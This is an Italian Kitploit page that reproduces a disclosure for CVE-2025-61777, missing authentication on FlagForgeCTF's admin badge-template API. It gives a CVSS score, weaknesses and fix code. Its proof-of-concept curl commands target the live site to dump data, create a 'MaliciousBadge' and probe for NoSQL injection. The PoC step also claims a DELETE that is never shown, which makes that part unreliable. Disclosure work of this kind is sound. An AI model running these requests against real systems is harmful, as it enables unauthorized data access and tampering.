Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-61777 — CVE su FlagForgeCTF nelle versioni dalla v2.0.0 alla v2.3.1. Aggiornato alla versione 2.3.2 per risolvere il problema. | Kitploit
Strumenti/GitHubGitHub/0x0w1z/cve-2025-61777
Analisi delle VulnerabilitàExploitSicurezza WebPenetration TestingSicurezza delle API
GitHub0x0w1z/cve-2025-61777

CVE-2025-61777

CVE su FlagForgeCTF nelle versioni dalla v2.0.0 alla v2.3.1. Aggiornato alla versione 2.3.2 per risolvere il problema.

Vedi Repository
210 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-61777

1. Modifica non autorizzata dei modelli di badge su FlagforgeCTF CVE-2025-61777

Riepilogo

L'applicazione Flagforge (https://flagforge.xyz) espone vulnerabilità critiche nei suoi endpoint API amministrativi, in particolare /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST). Entrambi gli endpoint non dispongono di controlli di autenticazione e autorizzazione, consentendo a utenti non autenticati di recuperare dati sensibili dei modelli di badge e creare modelli arbitrari nel database MongoDB. Ciò potrebbe portare a esposizione non autorizzata di dati, inquinamento del database o abuso del sistema di badge (ad esempio, creazione di modelli dannosi o spam).

Descrizione

Endpoint interessati

  1. GET /api/admin/badge-templates:
    • Restituisce un array JSON di tutti i modelli di badge memorizzati nella raccolta MongoDB badgeTemplates.
    • I campi esposti includono _id, name, description, icon, color, isActive, createdBy, createdAt, updatedAt e __v.
    • Non sono richiesti header di autenticazione, chiavi API o controlli di sessione, rendendo l'endpoint pubblicamente accessibile.
    • Risposta di esempio (da cURL):
root@kitploit:~
    x0w1z   ~  curl -i https://flagforge.xyz/api/admin/badge-templates
HTTP/2 200
access-control-allow-origin: https://flagforge.xyz
age: 0
cache-control: no-store, no-cache, must-revalidate, proxy-revalidate
content-type: application/json
date: Sat, 27 Sep 2025 11:17:35 GMT
permissions-policy: geolocation=(), microphone=(), camera=(), payment=()
pragma: no-cache
referrer-policy: no-referrer
server: Vercel
strict-transport-security: max-age=31536000; includeSubDomains; preload
vary: rsc, next-router-state-tree, next-router-prefetch, next-router-segment-prefetch
x-content-type-options: nosniff
x-frame-options: DENY
x-matched-path: /api/admin/badge-templates
x-vercel-cache: MISS
x-vercel-id: bom1::iad1::kbnlf-1758971855497-e981648f08c6
x-xss-protection: 1; mode=block
{"success":true,"templates":[{"_id":"68d18c6b3ddde4c2825273a1","name":"Staff","description":"Awarded for behind-the-scenes work that powers the community forward.","icon":"/badges/images/badge-1758563431839-63u7vxws5u.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:50:35.138Z","updatedAt":"2025-09-22T17:50:35.138Z","__v":0},{"_id":"68d18c073ddde4c282527398","name":"Bug Hunter","description":"Awarded for sharp eyes and a hacker’s mindset in finding weaknesses.","icon":"/badges/images/badge-1758563324750-h7zfukwxw7.png","color":"#8B5CF6","isActive":true,"createdBy":"Lagzen Thakuri","createdAt":"2025-09-22T17:48:55.675Z","updatedAt":"2025-09-22T17:48:55.675Z","__v":0},{"_id":"68ccfd395b3791025b51c200","name":"Security Researcher","description":"Earned by pushing boundaries and digging deeper into security.","icon":"/badges/custom/badge-1758264629375-0y4fdhdxjy5.png","color":"#8B5CF6","isActive":true,"createdBy":"[email protected]","createdAt":"2025-09-19T06:50:33.108Z","updatedAt":"2025-09-19T06:50:33.108Z","__v":0}],"count":3}%
  1. POST /api/admin/badge-templates/create:
    • Consente la creazione di nuovi modelli di badge con campi controllabili dall'utente: name, description, icon, color, isActive e createdBy.
    • Controlli di validazione minimi per la presenza di name, description e icon, e garantisce che non esista un name duplicato.
    • Nessun controllo di autenticazione o autorizzazione, consentendo a chiunque di inserire dati nel database.
    • Codice di esempio (dal sorgente fornito):
      root@kitploit:~
      const templateDoc = {
        name: name.trim(),
        description: description.trim(),
        icon: icon.trim(),
        color: color || '#8B5CF6',
        isActive: isActive !== undefined ? isActive : true,
        createdAt: new Date(),
        createdBy: createdBy || 'unknown'
      };
      const result = await db.collection('badgeTemplates').insertOne(templateDoc);
      

Debolezze

  • CWE-200: Esposizione di informazioni sensibili a un attore non autorizzato (endpoint GET): Espone identificatori utente (ad esempio, Lagzen Thakuri, [email protected]) e metadati, consentendo ricognizione o phishing.
  • CWE-306: Autenticazione mancante per funzione critica (entrambi gli endpoint): Nessun controllo di accesso sulle route amministrative.
  • CWE-284: Controllo di accesso improprio (entrambi gli endpoint): Consente recupero e modifica non autorizzati dei dati.
  • Potenziale iniezione NoSQL: Mentre l'endpoint POST destruttura esplicitamente i campi, l'endpoint GET potrebbe essere vulnerabile se supporta parametri di query (ad esempio, ?name[$ne]=test).
  • Rischio di inquinamento dei log: L'endpoint POST registra name e createdBy controllabili dall'utente, che potrebbero essere abusati per spam nei log o iniezione.

Punteggio CVSS v3.1

  • Punteggio base: 9.1 (Critico)
  • Vettore: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:L
    • Vettore di attacco (AV): Rete (endpoint pubblicamente accessibili).
    • Complessità dell'attacco (AC): Bassa (nessuna condizione speciale richiesta).
    • Privilegi richiesti (PR): Nessuno (nessuna autenticazione necessaria).
    • Interazione utente (UI): Nessuna (richieste HTTP dirette).
    • Ambito (S): Invariato (interessa l'applicazione stessa).
    • Riservatezza (C): Alta (espone dati utente).
    • Integrità (I): Alta (consente creazione arbitraria di dati).
    • Disponibilità (A): Bassa (potenziale DoS tramite creazione massiva di modelli).

Sistemi interessati

  • Applicazione: Flagforge (https://flagforge.xyz)
  • Componenti:
    • Route API Next.js: /api/admin/badge-templates (GET) e /api/admin/badge-templates/create (POST).
    • Database MongoDB: raccolta badgeTemplates.
  • Hosting: Vercel (serverless, dedotto dall'header server: Vercel).
  • Versioni: Sconosciute (presunto Next.js 13+ basato sulla sintassi NextRequest/NextResponse).
  • Dipendenze: Driver MongoDB (tramite utility di connessione personalizzata @/utlis/db), Next.js.

Impatto

  • Riservatezza: Esposizione di identificatori utente (createdBy) e metadati (createdAt, updatedAt), che potrebbero essere utilizzati per ingegneria sociale o attacchi mirati.
  • Integrità: Creazione non autorizzata di modelli di badge, potenzialmente portando a spam, phishing o visualizzazione di contenuti dannosi nell'applicazione.
  • Disponibilità: Potenziale denial-of-service (DoS) inondando l'endpoint POST con creazioni di modelli, consumando risorse del database.
  • Sfruttabilità: Alta, poiché gli endpoint sono pubblicamente accessibili tramite semplici richieste HTTP (ad esempio, cURL, Postman) senza barriere di autenticazione.

Prova di concetto

  1. Recupero dati sensibili (GET):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates
    
    • Restituisce un elenco JSON di tutti i modelli di badge, inclusi campi sensibili come createdBy (ad esempio, [email protected]).
  2. Creazione di un modello non autorizzato (POST) e rimozione dei modelli (DELETE):

    root@kitploit:~
    curl -X POST https://flagforge.xyz/api/admin/badge-templates/create \
      -H "Content-Type: application/json" \
      -d '{"name":"MaliciousBadge","description":"Hacked","icon":"evil.svg","createdBy":"attacker"}'
    
    • Crea un nuovo modello nella raccolta badgeTemplates.
    • Rimuove i modelli di badge.
    • Verificare rieseguendo la richiesta GET per confermare che il nuovo modello appaia.
  3. Potenziale iniezione NoSQL (GET, se i parametri di query sono supportati):

    root@kitploit:~
    curl https://flagforge.xyz/api/admin/badge-templates?name[$regex]=.*
    
    • Testare se l'endpoint elabora operatori MongoDB, che potrebbero bypassare i filtri o esporre dati aggiuntivi.

Raccomandazioni

Correzioni immediate

  1. Implementare l'autenticazione:
    • Aggiungere middleware per verificare l'identità dell'utente (ad esempio, JWT, NextAuth.js o chiavi API) per entrambi gli endpoint.
      root@kitploit:~
      // Esempio di middleware per l'endpoint POST
      export async function POST(request: NextRequest) {
        const authHeader = request.headers.get('authorization');
        if (!authHeader || !verifyToken(authHeader)) { // Implementare verifyToken
          return NextResponse.json({ error: 'Unauthorized' }, { status: 401 });
        }
        // ... codice esistente ...
      }
      
  2. Limitare l'endpoint GET:
    • Limitare l'endpoint GET agli amministratori autenticati o restituire dati minimi (ad esempio, escludere createdBy).
    • Se i parametri di query sono supportati, sanificare gli input per prevenire l'iniezione NoSQL.

Riferimenti

  • CWE-200: https://cwe.mitre.org/data/definitions/200.html
  • CWE-306: https://cwe.mitre.org/data/definitions/306.html
  • CWE-284: https://cwe.mitre.org/data/definitions/284.html
  • OWASP API Security Top 10: https://owasp.org/www-project-api-security/
  • Calcolatore CVSS v3.1: https://nvd.nist.gov/vuln-metrics/cvss/v3-calculator
Scarica lo strumento